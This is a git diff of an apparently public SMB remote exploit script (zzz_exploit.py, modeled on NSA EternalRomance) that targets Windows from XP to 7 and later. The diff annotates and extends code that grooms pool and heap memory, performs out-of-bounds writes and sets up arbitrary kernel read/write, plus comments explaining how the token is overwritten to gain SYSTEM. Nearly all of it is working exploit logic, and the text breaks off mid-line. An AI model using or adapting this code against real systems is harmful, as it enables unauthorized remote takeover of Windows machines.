diff --git a/zzz_exploit.py b/zzz_exploit.py index 416a6e3..47b418d 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -44,7 +44,7 @@ Note: method name is from NSA eternalromance For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit for freed pool from large pool). Additionally, the exploit does the information leak to check transactions -alignment before doing OOB write. So this exploit should never crash a target. +alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But @@ -52,7 +52,7 @@ a transaction with empty setup is allocated on private heap (it is created by Rt Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback of this method is we cannot do information leak to verify transactions alignment before OOB write. -So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier. +So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. ''' ''' @@ -93,7 +93,8 @@ PsImperonateClient() ends the impersonation. Even there is no impersonation, the STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. -Note: fake Token might be possible, but NULL token is much easier. +Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only + ImpersonateSecurityContext() is used in these Windows versions. ''' ########################### # info for modify session security context @@ -401,10 +402,12 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4): conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) mid_ntrename = conn.next_mid() + # first GROOM, for leaking next BRIDE transaction req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes - + # second GROOM, for controlling next BRIDE transaction req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) + # many BRIDEs, expect two of them are allocated at splitted pool from GROOM reqs = [] for i in range(12): mid = next_extra_mid() @@ -523,7 +526,7 @@ def exploit_matched_pairs(conn, pipe_name, info): info.update(leakInfo) # ================================ - # shift trans1.Indata ptr with SmbWriteAndX + # shift transGroom.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) @@ -556,13 +559,13 @@ def exploit_matched_pairs(conn, pipe_name, info): # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] - # modify trans_special.InData to &trans1 + # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify - # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself - # - trans1.InData to &trans2. so we can modify trans2 easily + # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param) + # - trans1.InData to &trans2. so we can modify trans2 with trans1 data conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) @@ -591,6 +594,7 @@ def exploit_fish_barrel(conn, pipe_name, info): else: # do not know target architecture # this case is only for Windows 2003 + # try offset of 64 bit then 32 bit because no target architecture attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ] # ================================ @@ -603,6 +607,13 @@ def exploit_fish_barrel(conn, pipe_name, info): for i in range(12): mid = info['fid'] if i == 8 else next_extra_mid() conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0) + + # expected transactions alignment + # + # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+ + # | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 | + # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+ + # trans1 trans2 # ================================ # shift transaction Indata ptr with SmbWriteAndX @@ -613,8 +624,7 @@ def exploit_fish_barrel(conn, pipe_name, info): # ================================ # Dangerous operation: attempt to control one transaction # ================================ - # POOL_ALIGN value is same as heap alignment value - # TODO: try offset of 64 bit then 32 bit when no target architecture + # Note: POOL_ALIGN value is same as heap alignment value success = False for tinfo in attempt_list: print('attempt controlling next transaction on ' + tinfo['ARCH']) @@ -650,11 +660,19 @@ def exploit_fish_barrel(conn, pipe_name, info): # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder # because of this unfreed memory chunk. I will avoid it. - # modify transactions before leaking transaction info + # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two + # transactions (do not know the address). + # After reading memory by modifying and completing trans2, trans2 cannot be used anymore. + # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself. + # To be able to modify trans1 struct, we need to use trans2 param or data but write backward. + # On 32 bit target, we can write to any address if parameter count is 0xffffffff. + # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions + # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only, + # we also modify HIDWORD of InParameter to 0xffffffff. + print('modify parameter count to 0xffffffff to be able to write backward') conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET']) - # on 64 bit, modify InParam last 4 bytes to \xff\xff\xff\xff to write backward - # this works because all transaction with empty setup is allocated with RtlAllocateHeap() + # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too if info['arch'] == 'x64': conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) wait_for_request_processed(conn) @@ -667,7 +685,7 @@ def exploit_fish_barrel(conn, pipe_name, info): conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET']) if info['arch'] == 'x64': conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) - # restore InParameters pointer before leaking next transaction + # restore trans2.InParameters pointer before leaking next transaction conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4) wait_for_request_processed(conn) @@ -691,6 +709,7 @@ def exploit_fish_barrel(conn, pipe_name, info): print('chunk size is wrong') return False + # extract leak transaction data and make next transaction to be trans2 leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE leakTrans = leakData[leakTranOffset:] fmt = info['PTR_FMT'] @@ -714,13 +733,14 @@ def exploit_fish_barrel(conn, pipe_name, info): # ================================ print('modify transaction struct for arbitrary read/write') # modify - # - trans1.mid - # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself - # - trans1.InData to &trans2. so we can modify trans2 easily + # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param) + # - trans1.InData to &trans2. so we can modify trans2 with trans1 data + # Note: HIDWORD of trans1.InParameter is still 0xffffffff TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN) conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) + # modify trans1.mid trans1_mid = conn.next_mid() conn.send_trans_secondary(mid=info['fid'], param=pack('